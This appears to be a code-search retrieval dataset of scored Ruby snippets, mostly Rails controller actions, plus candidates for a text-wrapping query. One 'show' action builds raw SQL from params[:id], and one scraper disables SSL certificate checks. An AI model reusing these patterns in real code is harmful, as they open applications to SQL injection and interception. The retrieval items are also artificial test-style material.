"docid": "031ad7da21348fa4e0247d37e4d47f51",
"score": "0.5891065",
"text": "def index\n @records = Record.all\n end",
"title": ""
},
{
"docid": "031ad7da21348fa4e0247d37e4d47f51",
"score": "0.5891065",
"text": "def index\n @records = Record.all\n end",
"title": ""
},
{
"docid": "031ad7da21348fa4e0247d37e4d47f51",
"score": "0.5891065",
"text": "def index\n @records = Record.all\n end",
"title": ""
},
{
"docid": "d63c04bea23350042884a105e6c105e4",
"score": "0.58766246",
"text": "def records\n doc = @session.get(@records_url)\n return doc.search(\"entry\").map(){ |e| Record.new(@session, e) }\n end",
"title": ""
},
{
"docid": "b7c77a45ce332ac7ed37b5274e4ea73f",
"score": "0.5873702",
"text": "def index\n respond_to do |format|\n format.html { @recordings = Recording.all.paginate(:page => params[:page]) }\n format.json { @recordings = Recording.all }\n end \n\n end",
"title": ""
},
{
"docid": "0d32a881b98a000fe08b697d436168fb",
"score": "0.5873657",
"text": "def index\n @records = Record.all\n\n end",
"title": ""
},
{
"docid": "57b0e61d382de18f5e0c1c145d8ec557",
"score": "0.58584654",
"text": "def get_records(modules, options = {})\n define_default_options(options)\n\n get_response(\"/#{options[:format]}/#{modules}/getRecords\", {\n query: permitted_generic_queries(options)\n })\n end",
"title": ""
},
{
"docid": "72ac20fa23dbc477c936bab0ee76149d",
"score": "0.5857819",
"text": "def get_records\n return @records\n end",
"title": ""
},
{
"docid": "927fc9b9a4f0351e316b38df978c4463",
"score": "0.58532673",
"text": "def index\n limit = params[:limit]||10\n offset = params[:offset]||0\n lines = Line.limit(limit).offset(offset)\n render json: lines, status: :ok\n end",
"title": ""
},
{
"docid": "c87ff6dd757684aedf0b99e641c4b559",
"score": "0.58434355",
"text": "def index\n @o_all = get_records(params[:page])\n \n end",
"title": ""
},
{
"docid": "fbb9788629a795deb1332d7851e24fa4",
"score": "0.5837874",
"text": "def index\n @door_logs = DoorLog.find(:all, :order => \"created_at DESC\", :limit => 500)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @door_logs }\n end\n end",
"title": ""
},
{
"docid": "b41422dacce766848371f0c53d949482",
"score": "0.5821319",
"text": "def index\n @recibo = Recibo.find(params[:recibo_id])\n @renglon_recibos = @recibo.renglon_recibos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @renglon_recibos }\n end\n end",
"title": ""
},
{
"docid": "e797a167541a1749b78e942d296a2839",
"score": "0.58178556",
"text": "def records\n entries = {}\n data = {\n a: 'rec_load_all',\n tkn: @cf_token,\n email: @email,\n z: @domain\n }\n r = query(data)\n r['response']['recs']['objs'].each do |e|\n next if e['type'] != 'A'\n entries[e['name']] = { ip: e['content'], id: e['rec_id'] }\n end\n entries\n end",
"title": ""
},
{
"docid": "e37dffa81bf930117f8278b4adbe9e61",
"score": "0.58126354",
"text": "def index\n @team_records = TeamRecord.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @team_records }\n end\n end",
"title": ""
},
{
"docid": "3c17567499046f517aab2f5f24727c60",
"score": "0.58089167",
"text": "def index\n get_recordings()\n end",
"title": ""
},
{
"docid": "d40275f7865d5c951ff6e4fc25d1ad4e",
"score": "0.58029884",
"text": "def create\n @glo_record = GloRecord.new(glo_record_params)\n\n respond_to do |format|\n if @glo_record.save\n format.html { redirect_to @glo_record, notice: 'Glo record was successfully created.' }\n format.json { render action: 'show', status: :created, location: @glo_record }\n else\n format.html { render action: 'new' }\n format.json { render json: @glo_record.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dd13b44531d6df0e216a68d06a5772f9",
"score": "0.57949835",
"text": "def index\n #@gds_auths = GdsAuth.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gds_auths }\n end\n end",
"title": ""
},
{
"docid": "1c0ec9465e7eedd8a73bc73552455edb",
"score": "0.57890886",
"text": "def index\n @legs = Leg.all\n\n render json: @legs\n end",
"title": ""
},
{
"docid": "11cb0fcf9eecb4a48fc0aaa59579813f",
"score": "0.5788654",
"text": "def show\n # @ga_pageviews_record = GaPageviewsRecord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ga_pageviews_record }\n end\n end",
"title": ""
},
{
"docid": "205b9dcd95d16ee86b93f00ffdcc4456",
"score": "0.57799053",
"text": "def show\n sobject_name = params[:sobject_id]\n record_id = params[:id]\n\n @record = dbdc_client.find(sobject_name, record_id);\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @record }\n end\n end",
"title": ""
},
{
"docid": "35fcff97655f67174d185f5cd49dd19e",
"score": "0.5777735",
"text": "def index\n @records = Site.page(params[:page]).order(:id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @records }\n end\n end",
"title": ""
},
{
"docid": "bf70414a00d3e9ea3abab15e7db355a9",
"score": "0.577614",
"text": "def index\n @glosentries = Glosentry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @glosentries }\n end\n end",
"title": ""
},
{
"docid": "2b8d3870ee2d4d71c4eeb0437685d4d6",
"score": "0.57603806",
"text": "def index\n @lines = ReportingForms::LaborLine.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lines }\n end\n end",
"title": ""
},
{
"docid": "4f260b628c14782e15bdb06d1304d41b",
"score": "0.5753268",
"text": "def index\n @reg_lines = RegLine.all\n\n\t\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reg_lines }\n end\n end",
"title": ""
},
{
"docid": "d1a4776bf3d1bdd974d2edd05451f06c",
"score": "0.5746361",
"text": "def find_record_json(*args)\n #Morpheus::Logging::DarkPrinter.puts \"find_record_json(#{args.join(', ')})\" if Morpheus::Logging.debug?\n type, *request_args = args\n get_interface(type).get(*request_args)\n end",
"title": ""
},
{
"docid": "be0d3d6b1102034f0e12572013e91a0e",
"score": "0.5742907",
"text": "def index\n @garages = Garage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @garages }\n end\n end",
"title": ""
},
{
"docid": "294cab5def1128b7e30bc21729f3d1ae",
"score": "0.57427156",
"text": "def index\n @tab=\"listings\"\n @listings = Listing.paginate page: params[:page], order: 'created_at desc', per_page: 10\n @json = @listings.to_gmaps4rails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end",
"title": ""
},
{
"docid": "f52a146e289aacf8e493b7359c2510c7",
"score": "0.57413507",
"text": "def index\n @glycodbs = Glycodb.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @glycodbs }\n end\n end",
"title": ""
},
{
"docid": "bf1437add57c1e6c79e1402765ca69ee",
"score": "0.5739666",
"text": "def get(id)\n @simplegeo.records_dispatch(:get, id)\n end",
"title": ""
},
{
"docid": "2304a0339080351b99863d66053b172b",
"score": "0.5737381",
"text": "def get_record(opts={})\n OAI::GetRecordResponse.new(do_request('GetRecord', opts))\n end",
"title": ""
},
{
"docid": "5bd8074158e0fdfac40f2922ec533496",
"score": "0.5724451",
"text": "def get_recordings\n recordings_json = @@api.get_recordings[:recordings]\n recordings_objects = []\n for recording in recordings_json\n recording_object = {}\n\n recording_url = recording[:playback][:format][:url]\n recording_id = recording[:recordID]\n\n recording_object['id'] = recording_id\n recording_object['url'] = recording_url\n\n recordings_objects.push(recording_object)\n end\n @recordings = recordings_objects\n end",
"title": ""
},
{
"docid": "b6db64ea4e8c06ce52b7d80ba3fc62fe",
"score": "0.57228744",
"text": "def index\n @o_all = get_records(params[:search], params[:page])\n end",
"title": ""
},
{
"docid": "3dfd0fd1517acc03018391cb29b371de",
"score": "0.5716378",
"text": "def index\n @google_analytics = GoogleAnalytic.order(\"id desc\").paginate(:page => params[:page], :per_page => 20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @google_analytics } \n end\n end",
"title": ""
},
{
"docid": "a472bc1da35cb1da07fb092367896785",
"score": "0.57134914",
"text": "def get_record_by_id(id) \n\t\turl = URI.escape(\"http://clientcloud.herokuapp.com/retrieve?key=#{ENV[\"APPLICATION_KEY\"]}&id=#{id}&business_detail\")\n\t\tresponse = open(url).read\n\t\treturn JSON.parse(response)\n\tend",
"title": ""
},
{
"docid": "94778b6f469db41f7393eff01cabc904",
"score": "0.570416",
"text": "def index\n if params[:user_id]\n @inventory_records = current_user.inventory_records.order(\"created_at desc\")\n elsif params[:search]\n @inventory_records = InventoryRecord.search(params[:search])\n else\n @inventory_records = InventoryRecord.includes([:user, :inventory,:location, :inventory_status]).order(sort_column + ' ' + sort_direction) \n end\n \n \n # print @inventory_records.map(&:location_id)\n @location_json = Location.where(\"id in (?)\", @inventory_records.map(&:location_id)).to_gmaps4rails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventory_records }\n end\n end",
"title": ""
},
{
"docid": "34a6ccbdbd80f2155883808348a5934f",
"score": "0.5694604",
"text": "def index\n @gst_levels = GstLevel.where(hotel_src_id: current_user.hotel_src_id).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gst_levels }\n end\n end",
"title": ""
},
{
"docid": "fd10cd0f9f015a6fe0eb366fa660318a",
"score": "0.5692225",
"text": "def index\n\t\t@records = Record.all\n\tend",
"title": ""
},
{
"docid": "c04fc2f07db312044c2f0071d0148dad",
"score": "0.56916994",
"text": "def show\n if (params[:redirect] == \"sql2\")\n sql = <<-SQL\n with src AS (SELECT *, daughters(ear_num), ai_logs(ear_num) \n FROM kine WHERE id = #{params[:id]})\n select json_agg(src) FROM src;\n SQL\n render json: ActiveRecord::Base.connection.select_value(sql)\n end \n end",
"title": ""
},
{
"docid": "88c4a8b56ef5fb89096895e879d29242",
"score": "0.5686641",
"text": "def index\n @client_records = ClientRecord.all\n end",
"title": ""
},
{
"docid": "e7a72b3de945dec5d9db7d8c01353da5",
"score": "0.56781244",
"text": "def index\n @googles = Google.page(params[:page]).per(20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @googles }\n end\n end",
"title": ""
},
{
"docid": "0949e5441b7c7ec90675934f01daaa40",
"score": "0.5676274",
"text": "def index\n @garments = Garment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @garments }\n end\n end",
"title": ""
},
{
"docid": "c194d81307cf76ee773d59f3fe616240",
"score": "0.56760406",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @allocations }\n end\n end",
"title": ""
},
{
"docid": "4f6eb3f2f689333711d8f526f123a9fa",
"score": "0.5660248",
"text": "def index\n @records = @patient.records\n end",
"title": ""
},
{
"docid": "0ebb3fb5224349a75c714d841f0f62ac",
"score": "0.5657288",
"text": "def my_recordings_list\n campaigns = current_user.organized_campaigns\n Campaign.calls_per_day(campaigns)\n render :json => campaigns\n end",
"title": ""
},
{
"docid": "7acc4a1441f23571b23ffd033755e9f0",
"score": "0.56503356",
"text": "def index\n render json: Genre.all\n end",
"title": ""
},
{
"docid": "98378541cfed8e41fa95c078fbfbfd66",
"score": "0.5648772",
"text": "def index\n respond_to do |format|\n format.html do\n @recent_objects = Georeference.recent_from_project_id(sessions_current_project_id).order(updated_at: :desc).limit(10)\n render '/shared/data/all/index'\n end\n format.json {\n @georeferences = Queries::Georeference::Filter.new(params).all\n .where(project_id: sessions_current_project_id)\n .page(params[:page])\n .per(params[:per])\n }\n end\n end",
"title": ""
},
{
"docid": "c312cbe04c19e55e7eff35ef510113d1",
"score": "0.564766",
"text": "def index\n @layers = Layer.where(:soil_id => params[:soil_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @layers }\n end\n end",
"title": ""
},
{
"docid": "45841568330102d771a1b97a11abd1c4",
"score": "0.5641837",
"text": "def get_records_for(table)\n response = HTTParty.get(url_for(table), headers: headers)\n\n return_value_for(response)\n end",
"title": ""
},
{
"docid": "f1e87fdb37bcaa2a2a8367943da7c372",
"score": "0.5633261",
"text": "def index\n @referral_logs = ReferralLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @referral_logs }\n end\n end",
"title": ""
},
{
"docid": "9abf839f50b0a5a555536a44efe6c9b1",
"score": "0.56259704",
"text": "def get_worldcat_recs_by_query(query, num_records = 1)\n response = worldcat_conn.get do |req|\n req.params['query'] = query\n req.params['maximumRecords'] = num_records.to_s\n req.params['servicelevel'] = 'full'\n req.params['sortKeys'] = 'LibraryCount,,0'\n req.params['wskey'] = WORLDCAT_API_KEY\n req.params['frbrGrouping'] = 'off'\n end\n return nil unless response.body =~ /<recordData>/\n records_from_record_body(response.body)\nend",
"title": ""
},
{
"docid": "ea3900512de589a1484fdaeb70d7bf8a",
"score": "0.5625032",
"text": "def index\n @recordbooks = Recordbook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recordbooks }\n end\n end",
"title": ""
},
{
"docid": "98cfe5923ebac1b0ef9f1d567e6a65d8",
"score": "0.5623765",
"text": "def records; end",
"title": ""
},
{
"docid": "98cfe5923ebac1b0ef9f1d567e6a65d8",
"score": "0.5623765",
"text": "def records; end",
"title": ""
},
{
"docid": "59ca5ff04aec816c5c4aa23227b04889",
"score": "0.56235",
"text": "def index\n @place_records = PlaceRecord.order(created_at: :desc)\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @place_records.to_json }\n end\n end",
"title": ""
},
{
"docid": "ad72ccdd6342698dac20e921bdc4e039",
"score": "0.56232595",
"text": "def show\n @glevel = Glevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @glevel }\n end\n end",
"title": ""
},
{
"docid": "5e15c43000e66a1cec0cc1640ed9ccb6",
"score": "0.5621917",
"text": "def index\n @ref_data = RefDatum.page(params[:page]).per_page(25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ref_data }\n end\n end",
"title": ""
},
{
"docid": "c0886c8077ae91ce40608800e25492a7",
"score": "0.5608337",
"text": "def index\n @dagrs = Dagr.find_by_sql(\"SELECT * FROM dagrs\")\n @mediafiles = Mediafile.find_by_sql(\"SELECT * FROM mediafiles\")\n @connections = Connection.find_by_sql(\"SELECT * FROM connections\")\n @metadatas = Metadata.find_by_sql(\"SELECT * FROM metadatas\")\n @keywords = Keyword.find_by_sql(\"SELECT * FROM keywords\")\n @annotations = Annotation.find_by_sql(\"SELECT * FROM annotations\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dagrs }\n end\n end",
"title": ""
},
{
"docid": "621229d110b0418c02651337714520fc",
"score": "0.5600879",
"text": "def index\n @recital_ads = RecitalAd.all.order('created_at')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recital_ads }\n end\n end",
"title": ""
},
{
"docid": "56b6e82f348f312c6b7e18e58f663b95",
"score": "0.55997807",
"text": "def index \n @genres = Genre.all \n render json: @genres, status: :ok\n end",
"title": ""
},
{
"docid": "709a5af4075e31ff6b8b574c989ff96a",
"score": "0.55937666",
"text": "def index\n @genres = Genre.all\n\n render json: @genres\n end",
"title": ""
},
{
"docid": "cb627979032fd227a6a4bf394024828a",
"score": "0.5588723",
"text": "def index\n @refagencies = Refagency.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @refagencies }\n end\n end",
"title": ""
},
{
"docid": "3414f1c63db4e4aa38ba8270f383f0ff",
"score": "0.5588335",
"text": "def index\n @lacs = Lac.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lacs }\n end\n end",
"title": ""
},
{
"docid": "cc62068c7676179207dddd62c4baf619",
"score": "0.55865186",
"text": "def show\n respond_to do |format|\n format.html\n format.json do\n set_dataset\n return render json: @dataset.errors, status: :unprocessable_entity if @dataset == nil \n fields = {}\n @dataset.dataset_fields.each do |f|\n fields[f.id] = f.name\n end\n rows = @dataset.dataset_rows\n result = []\n rows.each do |row_rec|\n row = {}\n row_data = row_rec.dataset_data\n row_data.each do |d|\n field_name = fields[d.dataset_field_id]\n row[field_name] = d.dataset_field_data\n end\n result << row\n end\n render json: result\n end\n end\n end",
"title": ""
},
{
"docid": "37d2e1e086ca730bca8fe35fe003208e",
"score": "0.5584346",
"text": "def get_records(layer, ids)\n features_hash = get Endpoint.records(layer, ids)\n records = []\n features_hash['features'].each do |feature_hash|\n record = Record.parse_geojson_hash(feature_hash)\n record.layer = layer\n records << record\n end\n records\n end",
"title": ""
},
{
"docid": "5c17170e848eab01d99e5fbd69614059",
"score": "0.5584282",
"text": "def index\n @recordings = Recording.all\n #gives us access to our html and json data \n respond_to do |f|\n f.html {render :index}\n f.json {render json: @recordings}\n end\n end",
"title": ""
},
{
"docid": "e955c1cb6c292a0c3381e3f1c816199c",
"score": "0.5580084",
"text": "def index\n @laws = Law.where('jail_id =?', params[:jail_id])\n \n render json: @laws\n # respond_to do |format|\n # format.html\n # format.json { render json: @laws }\n # end\n end",
"title": ""
},
{
"docid": "2fcc3a8706deef69f41ff61b50625cd5",
"score": "0.55784386",
"text": "def fetch_all_records(opts = {})\n # Here we are iterating over an array. Normally you would scrape\n # things from a website and construct LicenceRecords from that.\n #\n br = Mechanize.new { |b|\n b.user_agent_alias = 'Linux Firefox'\n b.read_timeout = 1200\n b.max_history=0\n b.retry_change_requests = true\n b.verify_mode = OpenSSL::SSL::VERIFY_NONE\n }\n records = []\n status_pair = [\"01\",\"02\"]\n status_pair.each{|status|\n pgno = 1\n begin\n page = (pgno == 1)? init(br,status) : (page.form_with(:id=>\"aspnetForm\") do |f|\n f['__EVENTTARGET'] = \"ctl00$Main$gvResults\"\n f['__EVENTARGUMENT'] = \"Page$#{pgno}\"\n page = f.submit\n end\n page\n )\n IO.write(\"#{tmpdir}/tmp_details#{pgno}.html\",page.body)\n list = parse(page,\"List By HTML\",{:reporting_date=>Time.now.iso8601(2),:last_updated_at => Time.now.iso8601(2),:source_url => page.uri.to_s})\n list.each{|datum|\n puts JSON.dump(datum)\n }\n break if list.nil? or list.empty? or list.length < 10\n pgno = pgno + 1\n end while(true)\n }\n end",
"title": ""
},
{
"docid": "e8dd8c454fdb9dfbd69b7c10d93a0e5a",
"score": "0.5578301",
"text": "def index\n @log_entries = LogEntry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @log_entries }\n end\n end",
"title": ""
},
{
"docid": "988c5f4646287c07d6416b383e09a17f",
"score": "0.5576514",
"text": "def show\n set_recording\n respond_to do |f|\n f.html {render :index}\n f.json {render json: @recordings}\n end\n end",
"title": ""
},
{
"docid": "15258d13070bdc427cd8241cf6d0c193",
"score": "0.5572084",
"text": "def show\n @record = @exam.records.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @record }\n end\n end",
"title": ""
},
{
"docid": "b9a732cee636578b4726dc0938bd0bdf",
"score": "0.5570171",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { \n @records = JqxConverter.jqxGrid(current_user.entity.invoices.where(record_status: 1).map{|x| {\n a: x.bill_to_entity_description,\n b: x.invoice_number,\n c: x.date != nil ? x.date.to_i * 1000 : nil, \n _id: x._id,\n }})\n render json: @records \n }\n end\n end",
"title": ""
},
{
"docid": "0aac071e9161a280889f5acb94815219",
"score": "0.55679315",
"text": "def show\n render_jsonp(@user_table.service.record(params[:id]))\n rescue => e\n CartoDB::Logger.error(message: 'Error loading record', exception: e,\n record_id: params[:id], user_table: @user_table)\n render_jsonp({ errors: [\"Record #{params[:id]} not found\"] }, 404)\n end",
"title": ""
},
{
"docid": "0aac071e9161a280889f5acb94815219",
"score": "0.55679315",
"text": "def show\n render_jsonp(@user_table.service.record(params[:id]))\n rescue => e\n CartoDB::Logger.error(message: 'Error loading record', exception: e,\n record_id: params[:id], user_table: @user_table)\n render_jsonp({ errors: [\"Record #{params[:id]} not found\"] }, 404)\n end",
"title": ""
},
{
"docid": "ad93012f460fe02f9328a1635287d83e",
"score": "0.55675095",
"text": "def index\n documentaries = Documentary.all\n json_response(documentaries)\n end",
"title": ""
}
] |
7adb9e0761ae41fbb2b96f4d81c0cd89 | Wraps +text+ to width | [
{
"docid": "1503edda1e503e2245ae689479cdb463",
"score": "0.7669327",
"text": "def wrap text\n return unless text && !text.empty?\n\n text_len = @width - @indent\n\n text_len = 20 if text_len < 20\n\n re = /^(.{0,#{text_len}})[ \\n]/\n next_prefix = ' ' * @indent\n\n prefix = @prefix || next_prefix\n @prefix = nil\n\n @res << prefix\n\n while text.length > text_len\n if text =~ re then\n @res << $1\n text.slice!(0, $&.length)\n else\n @res << text.slice!(0, text_len)\n end\n\n @res << \"\\n\" << next_prefix\n end\n\n if text.empty? then\n @res.pop\n @res.pop\n else\n @res << text\n @res << \"\\n\"\n end\n end",
"title": ""
}
] | [
{
"docid": "2b8c5f23bffc2f3076d57f55dafdfc95",
"score": "0.8010534",
"text": "def boxed_text(text, text_width) \n Structurograme.wrap_text(\n text.strip,\n (text_width.to_f / char_width).floor\n )\n end",
"title": ""
},
{
"docid": "abac78c5f60dccadf0fc0c5357648c61",
"score": "0.79954594",
"text": "def wrap_text(txt, col = 75)\n txt.wrap_text(col)\n end",
"title": ""
},
{
"docid": "cfdab1a66da69107917321e00b3c3cf5",
"score": "0.7969891",
"text": "def wrap_text(s, width=78) # {{{\n return nil unless s\n\ts.gsub(/(.{1,#{width}})(\\s+|\\Z)/, \"\\\\1\\n\").split(\"\\n\")\nend",
"title": ""
},
{
"docid": "f553ef819db28ece0bb194552ee6a5c2",
"score": "0.77674073",
"text": "def word_wrap(text, line_width: T.unsafe(nil), break_sequence: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "082923512a488aab9b7162f2a1c42210",
"score": "0.7650882",
"text": "def wrap(text, length)\n cur_page.wrap(text, length)\n end",
"title": ""
},
{
"docid": "22ab334c544275f2db829d4cc91b1206",
"score": "0.7646513",
"text": "def wrap(text, line_width = 100)\n text.gsub(/(.{1,#{line_width}})/, \"\\\\1\\n\")\n end",
"title": ""
},
{
"docid": "b3d472cd959ed8a61bedf0d5b17af3ed",
"score": "0.76263446",
"text": "def wrap\n @text\n end",
"title": ""
},
{
"docid": "c5a2ca4d0b00f46dab28f91eecc0e6b0",
"score": "0.7618484",
"text": "def wrapped_text *args\n options = {\n :line_width => columns\n }.merge args.extract_options!\n\n line = args.shift\n\n word_wrap(line, options)\n end",
"title": ""
},
{
"docid": "dca0d201bcbde30425548bda82398a0d",
"score": "0.7611977",
"text": "def wrapped_text *args\n options = {\n :line_width => columns\n }.merge args.extract_options!\n\n line = args.shift\n\n word_wrap(line, options)\n end",
"title": ""
},
{
"docid": "b64f9120d3f4f091b9ef34d299b18df4",
"score": "0.75409055",
"text": "def word_wrap(text, *args)\n options = args.extract_options!\n unless args.blank?\n options[:line_width] = args[0] || 80\n end\n options.reverse_merge!(:line_width => 80)\n\n text.split(\"\\n\").collect do |line|\n line.length > options[:line_width] ? line.gsub(/(.{1,#{options[:line_width]}})(\\s+|$)/, \"\\\\1\\n\").strip : line\n end * \"\\n\"\n end",
"title": ""
},
{
"docid": "87ea67e62e54c3d4eb0697ae0a7bbca9",
"score": "0.7453641",
"text": "def word_wrap(text, *args)\n options = extract_options_from_args!(args) || {}\n unless args.blank?\n options[:line_width] = args[0] || 80\n end\n options.reverse_merge!(:line_width => 80)\n\n text.split(\"\\n\").collect do |line|\n line.length > options[:line_width] ? line.gsub(/(.{1,#{options[:line_width]}})(\\s+|$)/, \"\\\\1\\n\").strip : line\n end * \"\\n\"\n end",
"title": ""
},
{
"docid": "b0c74e8d6a0277dd4351dbfe451fdcc6",
"score": "0.7453169",
"text": "def wrap_text\n return @wrap_text\n end",
"title": ""
},
{
"docid": "360b0c8844c938ee5821a72b29aafe01",
"score": "0.74250865",
"text": "def wrap_text(text, size)\n text = text.split(\" \")\n wrapped_text = \"\"\n current_line_size = 0\n text.each { |word|\n if (word.length + 1 + current_line_size > size)\n wrapped_text += \"\\n\"\n wrapped_text += word\n current_line_size = word.length\n else\n wrapped_text += \" \" unless current_line_size == 0\n wrapped_text += \"#{word}\"\n current_line_size += word.length\n end\n }\n wrapped_text\nend",
"title": ""
},
{
"docid": "aef82c8d29af7b5c9ec218e6e6c399c4",
"score": "0.7396005",
"text": "def email_rewrap(text, width=EMAIL_WRAP_WIDTH)\n paragraphs = text.split(\"\\n\\n\")\n paragraphs.each { |para| para.gsub(\"\\n\", ' ') }\n paragraphs.map! { |para| email_wrap para, width }\n paragraphs.join(\"\\n\\n\")\n end",
"title": ""
},
{
"docid": "876ddae9f9ff442be6a5a18f70fe02fa",
"score": "0.73856837",
"text": "def word_wrap(text, line_width=40)\n text.split(\"\\n\").collect do |line|\n line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\\s+|$)/, \"\\\\1\\n\").strip : line\n end * \"\\n\"\n end",
"title": ""
},
{
"docid": "8e3fe840ed7afc943fc249a6a531934c",
"score": "0.73538923",
"text": "def wordwrap(text, width=120, string='<wbr />')\n wrapped = ''\n\n # Get array of words and loop through them.\n (text).scan(/\\w+/).each do |word|\n\n new_word = ''\n if word.length > width\n ((word.length / width)+1).times do |i|\n range = (width*i)..((width*(i+1))-1)\n new_word += word[range] + string\n end\n end\n new_word = word unless word.length > width\n\n wrapped += new_word + ' ' + string\n end\n\n wrapped\n end",
"title": ""
},
{
"docid": "acabf873dc118ba3ce8668ed6bc7aa35",
"score": "0.7347689",
"text": "def wrap_text(txt, col = 80)\n txt.gsub(/(.{1,#{col}})( +|$\\n?)|(.{1,#{col}})/,\n \"\\\\1\\\\3\\n\")\n end",
"title": ""
},
{
"docid": "bfcdf478a599bed0c7abdc335db84d66",
"score": "0.7342305",
"text": "def word_wrap(text, line_width = 80)\n text.split(\"\\n\").collect do |line|\n line.length > line_width ?\n line.gsub(/(.{1,#{line_width}})(\\s+|$)/, \"\\\\1\\n\").strip :\n line\n end * \"\\n\"\nend",
"title": ""
},
{
"docid": "2c77ff0b9c928a3f1c0848ac065bda76",
"score": "0.73308533",
"text": "def word_wrap(text, _length = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "8bb272027b014f5f23774eba5de713be",
"score": "0.73204595",
"text": "def word_wrap(text, line_width = 80)\n text.split(\"\\n\").collect do |line|\n line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\\s+|$)/, \"\\\\1\\n\").strip : line\n end * \"\\n\"\n end",
"title": ""
},
{
"docid": "8db4fb1b6e80ded395f8e2af5a38a628",
"score": "0.7305977",
"text": "def word_wrap(text, options = {})\n line_width = options.fetch(:line_width, 80)\n\n text.split(\"\\n\").collect! do |line|\n line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\\s+|$)/, \"\\\\1\\n\").strip : line\n end * \"\\n\"\nend",
"title": ""
},
{
"docid": "62daf92492069ce0aec374a09929a264",
"score": "0.72996557",
"text": "def wrap_text(txt, col = 80)\n txt.gsub(/(.{1,#{col}})( +|$\\n?)|(.{1,#{col}})/, \"\\\\1\\\\3\\n\") \nend",
"title": ""
},
{
"docid": "32df37c9925fae22c9c2d55a043aa95e",
"score": "0.7281901",
"text": "def word_wrap(width=60)\n lines = []\n line = \"\"\n self.split(/\\s+/).each do |word|\n if line.size + word.size >= width\n lines << line\n line = word\n elsif line.empty?\n line = word\n else\n line << \" \" << word\n end\n end\n lines << line if line\n return lines.join \"\\n\"\n end",
"title": ""
},
{
"docid": "b453aae3b5ea8f5539aa2e60528cebb3",
"score": "0.7236535",
"text": "def wrap_width(width)\n gsub(/([^\\n\\r]{1,#{width}})/,\"\\\\1\\n\")\n end",
"title": ""
},
{
"docid": "954f110fdaacd2ef85760ed44a5930c1",
"score": "0.72225636",
"text": "def word_wrap(text, options = {})\n line_width = options.fetch(:line_width, 80)\n whitespace = options.fetch(:whitespace, 0)\n text.split(\"\\n\").collect! do |line|\n line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\\s+|$)/, \"\\\\1\\n#{\" \"*whitespace}\").strip : line\n end * \"\\n\"\n end",
"title": ""
},
{
"docid": "3084d7505cc6971f778198d454cd5fb9",
"score": "0.7209252",
"text": "def add_text_wrap(x, y, width, text, size = nil, justification = :left, angle = 0, test = false)\n if text.kind_of?(Numeric) and size.kind_of?(String)\n text, size = size, text\n warn PDF::Writer::Lang[:add_textw_parameters_reversed] % caller[0]\n end\n\n if size.nil? or size <= 0\n size = @font_size\n end\n\n # Need to store the initial text state, as this will change during the\n # width calculation, but will need to be re-set before printing, so\n # that the chars work out right\n t_CTS = @current_text_state.dup\n\n select_font(\"Helvetica\") if @fonts.empty?\n return \"\" if width <= 0\n\n w = brk = brkw = 0\n font = @current_font\n tw = width / size.to_f * 1000\n\n pos = -1\n loop do\n pos += 1\n break if pos == text.size\n font_change = true\n tag_size, text, font_change = quick_text_tags(text, pos, font_change)\n if tag_size != 0\n if font_change\n current_font!\n font = @current_font\n end\n pos += (tag_size - 1)\n else\n w += char_width(font, text[pos, 1])\n\n if w > tw # We need to truncate this line\n if brk > 0 # There is somewhere to break the line.\n if text[brk] == \" \"\n tmp = text[0, brk]\n else\n tmp = text[0, brk + 1]\n end\n x, adjust = adjust_wrapped_text(tmp, brkw, width, x, justification)\n\n # Reset the text state\n @current_text_state = t_CTS.dup\n current_font!\n add_text(x, y, tmp, size, angle, adjust) unless test\n return text[brk + 1..-1]\n else # just break before the current character\n tmp = text[0, pos]\n# tmpw = (w - char_width(font, text[pos, 1])) * size / 1000.0\n x, adjust = adjust_wrapped_text(tmp, brkw, width, x, justification)\n\n # Reset the text state\n @current_text_state = t_CTS.dup\n current_font!\n add_text(x, y, tmp, size, angle, adjust) unless test\n return text[pos..-1]\n end\n end\n\n if text[pos] == ?-\n brk = pos\n brkw = w * size / 1000.0\n end\n\n if text[pos, 1] == \" \"\n brk = pos\n ctmp = text[pos]\n ctmp = @fonts[font].differences[ctmp] unless @fonts[font].differences.nil?\n z = 